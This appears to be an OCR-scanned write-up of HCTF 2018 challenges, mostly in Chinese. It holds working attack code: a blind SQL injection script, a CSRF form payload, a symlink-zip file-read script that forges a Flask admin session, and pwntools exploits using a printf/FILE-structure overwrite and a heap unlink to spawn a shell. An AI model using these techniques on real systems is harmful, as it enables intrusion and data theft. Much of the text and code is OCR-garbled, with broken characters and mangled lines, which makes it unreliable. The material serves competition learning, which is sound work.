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import requests

url = "http://kzone.2018.hctf.io/admin/"*

= [chr(i) for i in range(32, 127)]




if 'or' in key + i:
continue
#tpayload = "admin' and (select group concat(table name) from mysql.innodb table stats) between '%s' a
nd '%s' and '1" % (key + i, chr(126))
payload = "admin' and (select * from F1444g) between '%s' and '%s' and '1" % (key + i, chr(126))

headers = {
‘cookie': 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}"' %
payload.replace(' ', '/**/').replace("\"", "\\"'),
}
#tprint (headers)
r = requests.get(url, headers=headers)
#tprint(r.text)
if 'Management Index' in r.text:
key += 1
break
else:
print(i)
print(key)
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Mhttp://share.2018.hctf.io/robots.txt 3k B 2 #i H iR

class FileController < ApplicationController

before_action :authenticate_user!

before_action :authenticate_role

before_action :authenticate_admin

protect from_forgery :except => [:upload , :share_people_test]

# post /file/upload
def upload

if(params[:file][:myfile] != nil && params[:file][:myfile] != ""
file = params[:file][:myfile]
name = Base64.decode64(file.original filename)
ext = name.split('.")[-1]
if ext == name || ext ==nil

ext=""

end
share = Tempfile.new(name.split('. '+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = ©
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save

end

redirect_to root_path

end

# post /file/Alpha_test



http://share.2018.hctf.io/robots.txt

if(params[:fid] && params[:uid] != "" && params[:fid] != nil && params[:uid] != nil)
fid = params[:fid].to_i
uid = params[:uid].to_i
if(fid > 0 && uid > 9)
if(Sharelist.find_by(sharefile_id: fid)==nil)
share = Sharelist.new
share.sharefile_id = fid
share.user_id = uid
share.save
end
end
end
redirect_to(root_path)
end

def share_file to_all
file = Sharefile.find(params[:fid])
File.rename(file.path,Rails.root+"/public/download/"+file.name)
file.public = true
file.path = Rails.root+"/public/download/"+file.name
file.save

end
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script

XMLHttpRequest();
, “http://share.2018.hctf.io/file/upload”, )

xhr.setRequestHeader(



http://share.2018.hctf.io/home/share
http://share.2018.hctf.io/file/upload

xhr.setRequestHeader(

xhr.setRequestHeader(

9

xhr.withCredentials =

body =

(body.length);

; 1 < aBody.length; i++)

body.charCodeAt(i);

Blob([aBody]));

submitRequest();

script

<!-- csrf post payload -->

<form action="http://share.2018.hctf.io/file/Alpha_test" id="test" method="POST">
<input type="text" name="uid"><br>
<input type="text" name="fid">

</form>
</body>




var f=document.getElementById("test");

f.getElementsByTagName("input")[@].value="2";
f.getElementsByTagName("input")[1].value="3";
f.submit();

</script>
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<%= render template: “home/”+params|[:page] %>
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o

UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=ff4d6ee39413

SHLVL=0

PYTHON_PIP_VERSION=18.1

HOME=/root

GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/it_is_hard_t@ guess_the_path_but_y@u_find_it_ 5f9s5b5s9.ini
NGINX_MAX_UPLOAD=0
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STATIC_URL=/static

UWSGI_CHEAPER=2

NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch

LANG=C.UTF-8

SUPERVISOR_ENABLED=1

PYTHON_VERSION=3.6.6

NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS NAME=uwsgi

LISTEN_PORT=860

STATIC_INDEX=0

PWD=/app/hard_t0@ guess n9f5a95b5ku9fg
STATIC_PATH=/app/static

PYTHONPATH=/app

UWNSGI_RELOADS=0

o JHBK2: —IRFINIEE MR AT LUK S AR TE, M Z AT cookien] UGG R flask, 4R 55542 Alapp/main.py, 74
Fnr

from flask import Flask
app = Flask(__name_ )

@app.route("/")

def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"

if name_ == "_main__ ":

app.run(host='0.0.0.0', debug=True, port=80)

docker—# gtk 17, SRJEHIAT LA H CHEIAEE, i B dockerfR 5 bl G A IR L 7 Al REAT FME 2 T, AR5 [R1 21 LR 1
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2. BAMERTE 2 fEdockert i), R4S & 2 AiFENflask, BUE LA H ORI —SHAMEE,
Ul /app/uwsgi.ini B(# /proc/pid/cmdline CHUFZIEFERELE] XA, (HEBA HERZHLME L,
Eban /proc/10/cmdline A uwsgi.ini) #RJ5 AT LI 2 docker image, 4 Zflaskali# uwsgi s — > #f
#& tiangolo/uwsgi-nginx-flask , & FRIBE KU EHENA /app/mainpy , XA AT DL EHE —
TR ERE A RAIXA M, nRA, BRBURTE T docker g, % 2

KT hint2: only few things running onit. 3= %47 —2Li%F M /proc/1/cmdline —E 43| /proc/9999/cmdline #iA
HECs. . FT CAT H X A hint

RIVECE RS, AL E ST fapplit_is_hard _t0_guess_the_path_but yOu find_it 5f9s5b5s9.ini

[uwsgi]
module = hard_t@ guess_n9f5a95b5ku9fg.hard_t@_guess_also_df45v48ytj9 main

callable=app

o XFEERIKE T IRICIL 42 /app/hard_t0_guess_n9f5a95b5kudfg/hard_t0_guess_also_df45v48yti9_main.py



# -*- coding:

from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid

import base64

import random

import flag

from werkzeug.utils import secure_filename

import os

random.seed(uuid.getnode())

app = Flask(__name_ )

app.config[ 'SECRET_KEY'] = str(random.random()*100)
app.config[ 'UPLOAD_FOLDER'] = './uploads'
app.config[ 'MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed file(filename):

return in filename and \

filename.rsplit('."', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/"', methods=['GET'])
def index():
error = request.args.get('error', '")
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:

return render_template('index.html', user=session['username'], flag=flag.flag)
else:

return render_template('index.html')

@app.route('/login', methods=["'POST'])
def login():
username=request.form[ 'username’ ]

password=request.form[ ‘password’ ]
if request.method == 'POST' and username != '' and password !=
if(username == ‘'admin'):
return redirect(url for('index',error=1))
session[ 'username'] = username

return redirect(url_for('index'))

@app.route('/logout', methods=["'GET'])
def logout():
session.pop(‘username’, None)

return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index"))
if file and allowed _file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config[ 'UPLOAD_FOLDER'], filename)




if(os.path.exists(file_save_path
return 'This file already exists'
file.save(file_save_path)

else:

return 'This file is not a zipfile'

extract_path = file save path + '_'

os.system('unzip -n ' + file save_path + ' -d '+ extract_path)

read_obj = os.popen('cat ' + extract_path + '/*")
file = read_obj.read()

read_obj.close()

os.system('rm -rf ' + extract_path)

except Exception as e:
file = None

os.remove(file save_ path)
if(file != None):
if(file.find(base64.b64decode('aGNOZg==").decode( 'utf-8')) != -
return redirect(url_for('index', error=1))
return Response(file)

if name__ == ' _main__
#tapp.run(debug=True)
app.run(host="127.0.0.1"', debug=True, port=10008)

o SRIFIEA RN R EEACHS, AR AL B /app/hard_t0_guess_n9f5a95b5kudfg/templates/index.html

{% if user == 'admin' %}

Your flag: <br>

{{ flag }}

o MFIXHE, - FMEMEEAHAR T, AEREHIRAIRE B dflagf A TR, BAELEH Rl yadmin gé
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o X HLim I YRAG ff T A flask M ERIA securecookie L, 2 Tk B Frui 2 hiEadminifisession T, X HsessionP %
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random.seed(uuid.getnode())

app = Flask(__name_ )
app.config[ "SECRET_KEY'] = str(random.random()*100)

app.config[ '"UPLOAD_FOLDER'] = './uploads'
app.config[ "MAX_CONTENT_LENGTH'] = 100 * 1024

o TR EE R FIAT IR HIACE S B S T python3.6
uuid.getnode() 3RTF10iEHilmacttihl, FEAEFIHlinuCCHFRRPE, &5 LATE /sys/class/net/ethe/address 3ffe
l_|lnaC
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requests

random

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

def read file(file_name):
link(file_name)

files = {'the_file': open(file_name[-5:] +

'.zip', 'rb')}
s.post(url+'upload’', files=files)
return r2.text

link(file_name):
os.system('ln -s {file name} {output}'.format(file name = file name, output = file name[-5:]))
os.system('zip -y -m {output}.zip {output}'.format(file name = file name, output = file name[-5:]))

url = "http://hideandseek.2018.hctf.io/"’
with requests.Session() as s:
user_data = {'username': '123', 'password': '123456789'}
s.post(url+'login', data=user_data)
en = read_file('/proc/self/environ')
print(en)
ini = re.search('UWSGI_INI=(.*?)\x00', en).group(l)
pwd = re.search('PWD=(.*?)\x00', en).group(1)
print(ini)
print(pwd)
ini = read_file(ini)
print(ini)
source = re.search('module = .*?\.(.*?)\n', ini).group(1)
source = pwd+'/'+source+'.py’
source = read file(source)
print(source)
if(source.find( 'import') == -1):
exit('fail')
mac '/sys/class/net/eth@/address’
mac read file(mac)
mac mac[:-1]
mac ''.join(mac.split(':"'))
mac int(mac, 16)
print(mac)
random.seed(mac)
key = random.random()*100

print(key)

app = Flask(__name_ )
app.config[ 'SECRET_KEY'] = str(key)
payload = {'username': 'admin'}
serializer = SecureCookieSessionInterface().get signing serializer(app)
session = serializer.dumps(payload)
print(session)
cookies = {'session': session}
requests.get(url, cookies=cookies)
print(r.text)

Bottle
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2.3 2% —“encoder.

FFEIMATIEE Halpha3Ll)m, %3 1 — Talpha3fyfiti. did gk th A Bl Kencoderid & i K2 S 72 T 1R
ER

A Fas], RWERNH— N Sencoderft) Bi% .

encode LiEExor, X—)Z2, HEHME Hshellcode; )2, Jofifs— MRiEUencoder, X ~encoderf 2 fif % I
S ffyshellcode.

R T —ZH0Mak, XM S S5 2 encode G shellcode K & 23 Ik 1R 5 22 .

Wfxor4 i€ offsetf —byte ? 2



rax+rdi],dl

rax+rdi],dh

rax+rdi+0x32],dl
rax+rdi+0x32],dh

X LEHR L LU i gadget. R Al 2 1 4n i ¥ Erdi L

REAimuIf 0 Gogedi, BRI aT DK S i i th, 5231 — AN AR R edifi, (HRXXXRIYYYERER 202
alphanumeric, XA, TR T HTRAGEE .

A7, A1 E xor idx 804k (byte, 1] LA T — NARAD ST .

push 1431655766

xor [rax+rdi+48],dl

idx[ g 1, R B A A I BB dhE LE BT A byte xorBAxor)i, 45 RN TE Ealphanumericyu [ H .

FHABAK T — T, [0x80,0xf 197 /b 7 EANANFME A fE 2 HhxorElalphanumeric, 1i[0x00,0x7f] A 75 E 3N AN
o=

Ebin AT 0x30, 0x59, 0x553Kxor [0x00,0x7f] , HOx80, OxcO, 0x88, Oxc8Kxor [0x80,0xff], 4 #IALsIdhFldl, 5k
T Fi4Aint, X JUMERRGE@E S g Eidx it kA2,

. 0x3080
. 0x59co

. Ox5988
. Ox55c8

ZFETL LB Abyte, FATHREE L IXAJ7ikxor T » nice~
baby printf ver2
A RAEE T-Sprintf_chk, {HI%FRHILF Corz

B KM MIphrack I SC B ZZA S, Eprintfi i %78 dfile4f f Hflag2, WAL At HI )2 printf 5 (3, X34 Hstdoutff]
Gfr KR

exp Hlprintf_chk leak + Mvtable, R AERRAT T 5o

BITEH %aXkKleak, 1H5E (XA, KPR EATE Zcode Bl
HeJe 15 Hlrip i ) printfh & malloc /2 EL s a7 #0107 ¥k

exp

from pwn import *

context.log level="'debug"'

p=process("'./babyprintf")

p.recvuntil('location to ")
binary=p.recvuntil('\n"')[:-1]




buff=int(binary, 16)

data=buff-0x10

success('data {}'.format(hex(data)))
p.recvuntil('!\n")
stdout_offset=buff+0x100
fake_stdout=p64(@xfbad2284|0x8000)

fake stdout+=p64(stdout_offset+116)*3
fake stdout+=p64(stdout_offset+116)*2
fake stdout+=p64(stdout_offset+116+6)
fake stdout=fake stdout.ljust(112, '\x00")
fake stdout+=p32(1)

fake stdout=fake stdout.ljust(0xde, '\x00")
fake stdout+=p64(buff);

fmt_s="xxxx%72%$p"

pocl=fmt_s.ljust(0x10, '\x00"')+p64(stdout offset)
pocl=pocl.ljust(0x100, '\x00")

pocl+=fake_ stdout

p.sendline(pocl)

p.recvuntil('\n")
libc_addr=int('ex'+p.recv(12),16)-0x21b97
success('libc {}'.format(hex(libc_addr)))

fmt_s="xxxx%74%$p"

pocl=fmt_s.ljust(Ox10, '\x00"')+p64(stdout offset)
pocl=pocl.ljust(0x100, '\x00")

pocl+=fake_ stdout

p.sendline(pocl)

p.recvuntil('\n")
stack_addr=int('ex'+p.recv(12),16)
success('stack {}'.format(hex(stack addr)))

io_check=0x8A150

sh=1ibc_addr+0x1B3E9A

system=1ibc_addr+0x4f440

def write to(addr,val):
fmt_s=val
fake_stdout=p64(@xfbad2284|0x8000)
fake_stdout+=p64(addr)*5
fake_stdout+=p64(addr+8)
fake_stdout=fake_stdout.ljust(112, '\x00")
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00")
fake_stdout+=p64(buff);
pocl=fmt_s.ljust(0x10, '\x00"')+p64(stdout_offset)
pocl=pocl.ljust(0x100, '\x00")
pocl+=fake stdout
pocl+=p64(Oxdeadbeef)*3
p.sendline(pocl)
p.recvuntil('\n")

rol(x,off):
return ((x << off) | (x >> (64-0ff)))8OXFFFFFfffrffffeff

write to(stack_addr,p64(libc_addr+0x3EB0O8+1))
Fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)




poc _S. OX10,
pocl=pocl.ljust(0x100, '\x00")
pocl+=fake_stdout

p.sendline(pocl)

p.recvuntil('\n")
tls_addr=u64('\x00'+p.recv(5)+"'\x00\x00")
success('tls {}'.format(hex(tls_addr)))

write to(tls_addr+0x14f0, 'a'*8)
write_to(libc_addr+0x3F0668,p64(rol((libc_addr+0x8A150)~u64('a'*8),17)))
fmt_s=p64(stdout_offset+Oxd8)[:-2]+'aa’

fake stdout=p32(@xfbad2284|0x8000)+";sh\x00"
fake_ stdout+=p64(stdout_offset+0xd8)*3

fake_ stdout+=p64(stdout_offset+0xd8)*2

fake_ stdout+=p64(stdout_offset+Oxd8+6)

fake stdout=fake_ stdout.ljust(112,'\x00")

fake stdout+=p32(1)

fake_ stdout=fake stdout.ljust(©xd8, '\x00")

fake stdout+=p64(buff);

pocl=fmt_s.ljust(0x10, '\x00"')+p64(stdout offset)
pocl=pocl.ljust(0x100, '\x00")

pocl+=fake_ stdout

pocl+=p64(system)*3

assert len(pocl) < ©x200

p.sendline(pocl)

p.recvuntil('\n")

p.interactive()

easyexp
SH5E%:  https:/mww.freebuf.com/column/162202.html

KU NTEJRCVE Mexp 4028 1O T i ods 24 /i H 21 55—k i i o 20 SR SEELLE getewd () IR B A 45 R RN
I (unreachable) MIARZACEY, BEHpEAT AR A S H 11 canonicalize file name() fEME LTI, (HF EHFERET
FEIX L2 Elbypass realpath() HH O TR 2L i BT Hi SR I I A28 15 IR0 U AH OGARED, 75 00—

H canonicalize_file_name J2[FINULL, 27t BEEHRH . T DURIIRET £/ A _ 1xstate4() Jaik [FINULL

(F1, AFITEX A AT DA — R, KRB SRIBOCCE R, R RINULL R R AR 8, RO B4
(unreachable)tmp ) SC 14

X LA PR T IR A 17 8 -

1Y A B 3%, IR ERmaE ffag, FriAE &I (unreachable) HI/T Hak, 1 Hif G & /mpSCfF
NS BUR A

2.1 T8 H & fEdockers, FEFERIpIdE A SR, AT DURNE, BEA4ELE ./../proc/childpid/cwd FF {1
## (unreachable)/tmp 2 J& it v] DL £ 2%

T 5 FIHEA OGR4 i & SO fficache R4, 8T OI#E SCPFIT orisz UL A P 280 S SCAF I NGR AT, AT I SCHEAN T
Fopen3Cff, £ B A A Y At 2 BORE IR 8 2 /i A 3 5 NS

RFEQIE A / SRS, HE Bt A 1L

iHid mkdir ../../aaaaaa XFEHIEABAT LMESOE T, A EEFexplf 1

#coding=utf8


https://www.freebuf.com/column/162202.html

context.log level = ‘debug’

context.terminal = ['gnome-terminal','-x", 'bash','-c"']

if local:

cn = process('./easyexp')

bin = ELF('./easyexp')

libc = ELF('./libc.so.6")

#libc = ELF('/1ib/i386-1linux-gnu/libc-2.23.s0")
else:

cn = remote('150.109.46.159',20004)

bin = ELF('./easyexp')

libc = ELF('./libc.so.6")

cn.sendlineafter('token', 'Okxad7uIRWgnQCdtAUIQMBbowEZFOSIb")

def z(a=""):
gdb.attach(cn,a)

if a ==
raw_input ()

def cat(path):
cn.sendlineafter('$ ',"cat " + path)

mkdir(path):
.sendlineafter('$ ',"mkdir " + path)

mkfile(path, content):
.sendlineafter('$ ',"mkfile " + path)
.sendlineafter('write something',content)

def fake(path):
padding = "'../../"'

zero = []
for i in range(0,len(path)):
if ord(path[i]) == ©:
zero.append(i)
padding += 'a‘'
else:
padding += path[i]
mkdir(padding)
zero = zero[::-1]
for i in zero:
padding = padding[@:i+6]
mkdir(padding)

fbuf base = 0x603180
target = fbuf_base + 0x60 * 1

cn.sendlineafter('input your home\'s name:','(unreachable)"')
buf p64(0) + p64(0xfl) + pb64(target-0x18) + p64(target-0x10)
buf buf.ljust(exfe-2, '\x00")

buf+= '/"

mkfile('./(unreachable)/tmp',"'/'* 0x20)
mkfile('chunk2','a" * 0x20)




buf = p64(66) + p64(0x31)+ p64(66) + p64(0x51) + p64(target - 0x18) + p64(target - 0x10)
fake(buf)

mkfile('chunk3','/" * 0x20)
mkfile('newchunkl','a' * @xf0)

fake(p64(0x50))

cat('chunk3")

mkfile('unlink', '/bin/sh")

buf = "a' * Ox18 + p64(target)
mkfile('chunk2',buf)

buf = p64(target) + p32(0x100)[:-1]
mkfile('chunk2',buf)

buf = p64(target) + p32(0x100) + 'chunk2\x00'
buf = buf.ljust(0x60, '\x00")

buf+= p64(bin.got['puts'])
mkfile('chunk2',buf)

cat('chunk3")
lbase = u64(cn.recvline()[:-1].1just(8,"'\x00"')) - libc.sym['puts']
print('lbase:' + hex(lbase))

mkfile('chunk2',p64(bin.got['puts']))
mkfile('chunk2',p64(lbase + libc.sym['system']))

cat('unlink")

cn.interactive()

Re

spiral
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2, PrAMRECEEER T, NHEOEA:

vin_enc_ez = [Ox07, Oxe7, Ox07, Oxed, 0x01l, 0x19, 0x03, Ox50, 0Ox07, Oxe4, 0x01l, 0x20, 0x06, Oxb7
, Ox07, Oxed, 0x01, Ox22, Ox00, Ox28, Ox00, Ox2a, Ox02, Ox54, Ox07, Oxed4, 0x01l, Ox1lf, Ox02, Ox5
@, Ox05, Oxf2, Ox04, Oxcc, Ox07, Oxed, Ox00, Ox28, Ox06, Oxb3, Ox05, Oxf8, Ox07, Oxed, 0x00, OX
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Pxed, Ox05, Oxf6, Ox06, Oxb3, Ox01, Ox19, Ox07, Oxe3, 0Ox05, Oxf7, 0x01l, Ox1lf, Ox07, Oxe4d]
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def vm _dec core ez(vm_opcode, vm _data):
if vm_opcode == 0b000:
vm_data += Oxde;

elif vm_opcode == 0bo0o1:
vm_data += Oxed;

elif vm_opcode == 0b010:
vm_data += Oxba;

elif vm_opcode == 0bo11:
vm_data += Oxbe;

elif vm_opcode == 0b100:
vm_data "= Oxca;

elif vm_opcode == 0b101:
vm_data "= Oxfe;

elif vm_opcode == 0b110:
vm_data ~= Oxbe;

elif vm _opcode == 0bl1ll:
vm_data "= Oxef;

else:
print "error vm_opcode"
exit()

vm_data &= 0b1111
dec_data = chr(vm_opcode | (vm_data<<3))
return dec_data

def vm_dec_ez():
dec_s =
for i in range(len(vm_enc_ez)/2):

dec_s += vm_dec_core_ez(vm_enc_ez[2*i], vm_enc_ez[2*i+1])




return dec_s

def vm_dec_core(vm_opcode, pos_):
res = 0
pos ((pos_>>4)&0x0f) * 9 + (pos_&0Ox0f)
if vm_opcode ==
print ‘MOV Error!’®
return
elif vm_opcode == 1: # ADD
res = dec_board[pos] - enc_board[pos]
elif vm_opcode == 2: # SUB
res = enc_board[pos] - dec_board[pos]
elif vm_opcode ==
res = enc_board[pos] / dec_board[pos]
elif vm_opcode ==
print ‘MUL Error!’
return
elif vm_opcode ==
res = enc_board[pos] dec_board[pos]
elif vm_opcode ==
res = enc_board[pos] dec_board[pos]
elif vm_opcode == 7:
res = enc_board[pos] dec_board[pos]
res = res >> 4
elif vm_opcode == 8:
print 'OR Error!’'
return
elif vm_opcode == 9:
res = enc_board[pos] dec_board[pos]
else:
print "Default Error"
return
return res

def vm opcode dec_ f1(vm_opcode enc):
res_dec = []

ordl = [2, 3, 4, , 0, 6
ord2 = [3, 4, 7 , 6,5
ord3 = [3, 1, 7, 4, 8, 2, 9

for i in range(27):

k) k)

8
(4]

B}

7
3 8J

4

)

if i>=0 and i<8:
res_dec.append(ordl.index(vm_opcode_enc[i]))
elif i>=8 and i<17:
res_dec.append(ord2.index(vm_opcode_enc[i]))
elif i>=17 and i<27:
res_dec.append(ord3.index(vm_opcode_enc[i]))
else:
print "vm_opcode Len Error"
exit()

return res_dec

def vm_opcode_dec_f2(vm_opcode_enc):
res_dec = []

ordl = [2, 3, 4, 7, 8,

ord2 [3, 4, 7, 8, 0,

3, 1 4, 8

)

ord3 [3,
for i in range(27):
if i>=0 and i<1@:

k) k) k)




elif i>=10 and i<19:
res_dec.append(ord2.index(vm_opcode_enc[i]))
elif i>=19 and i<27:
res_dec.append(ord3.index(vm_opcode_enc[i]))
else:
print "vm_opcode Len Error"
exit()
return res_dec

def vm_dec(vm_opcode_enc_1, input_pos, spec):
dec_psble = [@] * 27
if spec == 1:
vim_opcode_dec_1 = vm_opcode_dec_f1(vm_opcode_enc_1)
#print vm_opcode_dec_1
else:
vim_opcode_dec_1 = vm_opcode_dec_f2(vm_opcode_enc_1)
#print vm_opcode_dec_1[::-1]
for i in range(len(dec_psble)):
if vm_opcode_dec_1[i] != 6 and vm_opcode_dec_1[i] != 9:
dec_psble[i] = vm_dec_core(vm_opcode dec_1[i], input_pos[i]) & Oxff
else:
dec_psble[i] = vm_dec_core(vm_opcode dec_1[i], input_pos[i])
for i in range(len(dec_psble)):
if vm_opcode _dec_1[i] == 6:
dec_psble[i] += dec_psble[i+1]
dec_psble[i] -= dec_psble[i-1]
dec_psble[i] &= oxff
for i in range(len(dec_psble)):
if vm_opcode _dec_1[i] ==
dec_psble[i] "= dec_psble[i+1]
dec_psble[i] "= dec_psble[i-1]
dec_psble[i] += dec_psble[i+2]
dec_psble[i] -= dec_psble[i-2]
dec_psble[i] &= oxff
return dec_psble

def vm _dec_shell():

dec_flag =

vm_opcode_1_enc = [3,4,7,4,0,6,0,9, 6,4,8,1,4,7,1,8,7, 1,9,2,2,5,7,0,2,9,7]

input_pos 1 = [0x00,0x01,0x04,0x12,0x15,0x25,0x27,0x30,0x33,0x35,0x42,0x46,0x48,0x50,0x52,0x55
,0x57,0x61,0x65,0x66,0x71,0x73,0x77,0x80,0x81,0x83,0x85 ]

dec_psble 1 = vm _dec(vm _opcode 1 enc, input_pos 1, 1)

#print dec_psble 1

vm_opcode 2 enc = [4,4,3,9,9,7,9,5,4,6,6,5,7,6,7,1,4,8,4,7,2,5,7,4,9,2,1]

input_pos 2 = [0x02,0x08,0x11,0x13,0x23,0x24,0x26,0x28,0x31,0x32,0x36,0x38,0x40,0x41,0x43,0x47|
,0x51,0x53,0x54,0x56,0x62,0x67,0x74,0x82,0x84,0x86,0x88 ]

dec_psble 2 = vm _dec(vm _opcode 2 enc, input_pos 2, 2)

#print dec_psble 2[::-1]

if dec_psble 1 == dec_psble 2[::-1]:

for i in range(len(dec_psble 1)):
dec_flag += chr(dec_psble 1[i])
return dec_flag

else:

return 'Something Error!'

dec_full flag = 'hctf{'




dec_full flag += vm_dec_ez();

dec_full flag += vm_dec_shell() + '}';
print dec_full_flag

PolishDuck
T HBAKPARR, 4535 A0 ITAR T R (AN 0 T2 N 0 1 1 i

Badusb[#4:

Sehex2bin

Arduino Leonardo:t: fratmega32u4

Github_I 3% 332u4 [f1datasheet, SR 5 M a4t 1

https://gist.github.com/thecamper/18fa1453091be4c379aa12bcc92f91f0

H T datasheetr] L E f%idazr #r

‘i A2 arduino ide H O 4 — MHSCI L0 LL e 2, B S, 5l B Blkeyboard 19 34T

$e 2 E AL

size_t Keyboard_ ::write(const uint8 t *buffer, size t size) {

size_t n = 0;
while (size--) {
if (*buffer != "\r') {
if (write(*buffer)) {
n++;
} else {
break;
¥
}

buffer++;

}

return n;

}

keyboard.cppiiifd B 7] LA | printin/e HE 45 bk B2 475 5 7] DARRE AT Aldi 1 17 2 28

MG A, S AT R AR

windows+r Jinotepad.exe, JT4AHIHLAERE 2 "notepad.exe" 143 B

X HLG] N LSS 0 BA (S I R TL T)

index table=[320,332, 339, 354, 375, 395, 425, 456, 467, 491, 510, 606, 519, 540, 551, 582, 609


https://gist.github.com/thecamper/18fa1453091be4c379aa12bcc92f91f0

, 624, 651, 664, 675, 689, 604, 698, 709, 720, 727, 754, 775, 784, 606, 807,
838, 988, 845, 868, 883, 911, 934, 947, 959, 976, 991, 1007, 1024, 1099, 1043, 1068, 1083, 1103
, 1106, 1168, 1119, 1132, 1149, 1166, 1175, 1182, 1205, 1227,

1093, 1093, 1238, 1101, 1101, 1172, 1253, 1103]

import ida_bytes,idaapi

def my_get_str(ea):

#tprint (hex(ea))
res = ''
i=290
while True:
tt = ida_bytes.get_byte(ea+i)
if tt ==0 or tt & 0x80 != O:
break
res += chr(tt)
i+=1

return res

guess_offest = [6480]

for offest in guess_offest:
res = ‘'
for i in index_table:
res += my_get str(i+offest)

res += '\n’

print(res+'\n")

TTUR ) A B 1 22 R0k, EAEIE S R T o AN 2 T 83IA K TR S5 Ly 2, ~~HSemT B
R, ~~ AL L, FTCLE SR TR, AR TR TR AR A K
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Source code example

AT 162E il

0x686374667b50306¢3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316€
6b3f7d

Decodefiflag: hctf{POl1sh Duck_Tast3s_D3I1ciOus_ DO_U_Th1nk?}
%4 PolishfJPolishDuck XD, H @A T #.
seven

A YE IR




5k >k 3k >k sk >k >k 5k >k 5k >k ok k
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Bold 7y F—¥%!
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freq game
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Guess My Key

MR AR 8 S LG IR H o (Ho, FER|HILH CTF ik ca i Bl A/ DX HikE AL
W E T, AR BAT AFE, AUEINE AR T HRE . TR R R 1 AREE 2016 FEH)X

% paper: Learning To Protect Communications

With Adversarial Neural Cryptography. 3 7 —F, BEEHAM. 7E Github G HALITH &5 17 1A
i, FWRMIBAESH Tk, RIZRIEAL, %S T mET


https://arxiv.org/pdf/1610.06918v1.pdf

AL, MARNAT, WABBA 2R RGBT . AR KK R b FGSM, mItH A _E#6 )5

LEH exp RRE, BBAERE:. FRIEE, WA BHCEE R MR EE, Tk
RGN E BEHAT R BIX D2 )a, SRR - MERIKHZ SVM il SMO 5ik, fil SR il 2 B
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ME, TE— R, B LIR. 2 WK, K2 HUE LT AEEAE 10000~20000 KiE K 2 A YCEE]
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os
time
random
binascii
numpy as np
from requests import get

96

= 2 * np.random.random(LEN) - 1
= 2 * np.random.random(LEN) - 1
= "http://150.109.62.46:13577/enc"

extract_raw_cipher(req, extract='raw_cipher'):
X = reqg.json()[extract]
return np.array(list(map(float, x.split(','))))

convert(x):

return ',"'.join(map(str, x))

req = get(url, params=dict(msg=convert(msg)))
real cipher = extract_raw_cipher(req, 'raw_cipher')

count
last_loss = 100
pre = time.time()

while True:
temp_key = key.copy()
idx1 = random.randint(@, LEN-1)
idx2 = random.randint(®@, LEN-1)

best _loss = 100
best_cipher = None

for i in [0, 1]:
for j in [0, 1]:

temp_key[idx1l] = i
temp_key[idx2] = j
req = get(url, params=dict(msg=convert(msg), key=convert(temp_key)))
count += 1
cipher = extract_raw_cipher(req)
loss = np.sum(np.abs(cipher - real cipher))




if loss < best loss:
best_loss = loss
best cipher = cipher
key[idx1] i
key[idx2] Jj

if not count % 250:

if best loss == last loss:

print('move away randomly")
key[random.randint(@, LEN-1)] random.randint(@, 1)
key[random.randint(@, LEN-1)] random.randint(@, 1)

last_loss = best_loss

flag_int = int(''.join(np.where(key>@, '1', '@')), base=2)
flag = binascii.unhexlify(hex(flag _int)[2:].zfill(int(LEN/4)).encode())
print(flag, best_loss)

if best_loss <= le-3:
break

print('finished', count*4, time.time() - pre)

flag_int = int(''.join(np.where(key>0, '1', '@')), base=2)

flag = binascii.unhexlify(hex(flag_int)[2:].zfill(int(LEN/4)).encode())
print(flag)
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#!/usr/bin/env python

import sys
import os

normalkeys = { 0x04:“a”, 0x05:“b”, 0x06:“c”, 0x07:“d”, 0x08:“e”, 0x09:f’, 0x0A:“g”, Ox0B:“h”, Ox0C:“”, OxOD:*j",
OXOE:“k”, OXOF:“I", 0x10:"m”, 0x11:“n”,0x12:“0”, 0x13:“p”, 0x14:“q”, 0x15:r", 0x16:“s”, Ox17:“t", Ox18:“u”,0x19:*v",
Ox1A:*w”, Ox1B:“X", Ox1C:*y”, Ox1D:“Z",0x1E:"1”, Ox1F:“2”, 0x20:“3”, 0x21:“4”, 0x22:“5”, 0x23:“6”, 0x24:“7”,
0x25:“8”, 0x26:“9”, 0x27:“0”, 0x28:"\n", Ox2a:"[DEL]", 0X2B:" “, 0x2C:” “, 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]",


https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf
https://zb3.me/malbolge-tools/

UX3T:"\7, UX32:" ™, 0x33:";", 0x34:""",0x35:" ", UX30:",", UX3/:"." , UX38:."/"}

shiftkeys = { 0x04:“A”, 0x05:“B”, 0x06:“C”, 0x07:“D”, Ox08:“E”, Ox09:“F”, Ox0A:“G”, 0x0B:“H”, Ox0C:“I’, 0x0D:*J”,
